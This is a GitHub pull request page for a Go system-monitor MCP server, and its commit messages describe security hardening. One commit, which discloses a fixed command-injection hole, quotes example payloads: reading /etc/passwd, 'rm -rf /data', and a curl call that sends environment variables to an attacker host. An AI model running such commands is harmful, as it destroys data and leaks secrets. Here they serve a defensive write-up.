Skip to content

Conversation

irapandey
Copy link
Contributor

@irapandey irapandey commented Sep 12, 2025

✨ Feature / Enhancement PR

πŸ”— Epic / Issue

Link to the epic or parent issue:
Closes #898


πŸš€ Summary (1-2 sentences)

What does this PR add or change?

This PR adds a sample MCP Server - system-monitor-server (GoLang)

πŸ§ͺ Checks

  • make lint passes
  • make test passes
  • CHANGELOG updated (if user-facing)

πŸ““ Notes (optional)

Design sketch, screenshots, or extra context.

##Acceptance Criteria

  • Go MCP server with 6+ system monitoring tools
  • Cross-platform support (Linux, macOS, Windows)
  • Real-time system metrics collection
  • Process monitoring and health checking
  • Log file monitoring with filtering
  • Configurable alerts and thresholds
  • Security controls for file system access
  • Comprehensive test suite (>90% coverage)
  • Performance optimized for minimal system impact
  • Complete documentation with examples

@irapandey irapandey force-pushed the system-monitor-go-mcp branch 2 times, most recently from 63fefeb to b63dd35 Compare October 6, 2025 08:12
@irapandey irapandey marked this pull request as ready for review October 6, 2025 08:27
@crivetimihai crivetimihai added this to the Release 0.9.0 milestone Oct 7, 2025
irapandey and others added 3 commits October 10, 2025 20:56
Signed-off-by: irapandey <ira.pandey2001@gmail.com>
Security improvements:
- Remove compiled binary from repository (11MB)
- Add .gitignore for Go binaries to prevent future commits
- Fix path traversal vulnerability via symlink resolution
- Add ReDoS protection for user-provided regex patterns
- Enforce file size limits before reading to prevent memory exhaustion
- Remove /tmp from default allowed paths (security risk)
- Add security documentation to configuration files

Path traversal fix:
- Use filepath.EvalSymlinks() to resolve symlinks before validation
- Prevents attacks where /var/log/evil -> /etc/passwd
- Add directory separator checks to prevent partial path matches

ReDoS protection:
- Limit regex pattern length to 1000 characters
- Detect dangerous nested quantifiers ((a+)+, (a*)*, etc.)
- Validate patterns before compilation

Memory protection:
- Check file size BEFORE reading to prevent exhaustion
- Limit scanner buffer to 10MB per line
- Enforce maxFileSize configuration

Configuration hardening:
- Remove /tmp and ./logs from default allowed paths
- Only /var/log remains as secure default
- Add comments explaining security rationale
- Provide safe customization examples
Update tests to validate the security improvements:
- config_test.go: Expect only /var/log in allowed paths (not /tmp or ./logs)
- main_test.go: Convert to security validation tests that verify /tmp access is denied
- log_monitor.go: Fix MinSize filter to only apply to files, not directories

These changes ensure tests validate the security hardening rather than
expecting the insecure behavior.
@crivetimihai crivetimihai force-pushed the system-monitor-go-mcp branch from b63dd35 to e1bb7df Compare October 10, 2025 20:07
SECURITY VULNERABILITY FIXED:
The check_service_health tool allowed arbitrary command execution via
the "command" service type. An attacker with access to the MCP server
could execute ANY system command:

- Read sensitive files: {"type":"command","target":"cat /etc/passwd"}
- Delete files: {"type":"command","target":"rm -rf /data"}
- Exfiltrate secrets: {"type":"command","target":"curl attacker.com?data=$(env)"}
- Install malware, create backdoors, etc.

CHANGES:
- Disabled command type execution entirely
- Updated checkCommandService() to return "unsupported" status
- Removed os/exec import
- Updated documentation to reflect command type is disabled
- Updated all tests to expect "unsupported" status
- Added security comments explaining the vulnerability

Users should use the list_processes tool instead to check process status.

This was marked as ReadOnlyHintAnnotation(true) and
DestructiveHintAnnotation(false) which was completely incorrect.
Align system-monitor-server with fast-time-server reference implementation
and add chroot-like root directory restriction for enhanced security.

Build System Improvements:
- Restructure Makefile following fast-time-server conventions
- Add dynamic help system with emoji section headers
- Add version injection via LDFLAGS
- Add multiple run modes (stdio, http, sse, dual, rest)
- Add MCP tool testing targets (test-metrics, test-processes, test-health)
- Add comprehensive quality checks (fmt, vet, lint, staticcheck, security)
- Add benchmarking and performance testing targets
- Update .gitignore to include dist/ and coverage/ directories
- Add staticcheck.conf for static analysis configuration

Security Enhancements:
- Add root_path configuration for chroot-like file access restriction
- Enforce root boundary BEFORE allowed_paths checks (defense in depth)
- Root restriction prevents access outside configured directory tree
- Backward compatible: empty root_path maintains existing behavior
- Add comprehensive tests for root path validation

Documentation:
- Rewrite README.md following fast-time-server style
- Add Root Directory Restriction security section
- Update configuration examples with root_path
- Improve Quick Start and Development sections
- Add cross-compilation instructions
- Document all security features comprehensively

Configuration:
- Add security.root_path setting to config.yaml
- Document production recommendation for root restriction
- Update security comments for clarity

Testing:
- Add TestLogMonitorRootPathRestriction with comprehensive coverage
- Update all NewLogMonitor calls to include root_path parameter
- All tests passing (4 packages, 50+ tests)

Signed-off-by: Mihai Criveti <crivetimihai@gmail.com>
@crivetimihai crivetimihai force-pushed the system-monitor-go-mcp branch from 1bca40f to 7de0fc1 Compare October 11, 2025 01:05
@crivetimihai crivetimihai merged commit c7330e0 into IBM:main Oct 11, 2025
33 of 34 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Sample MCP Server - Go (system-monitor-server)

2 participants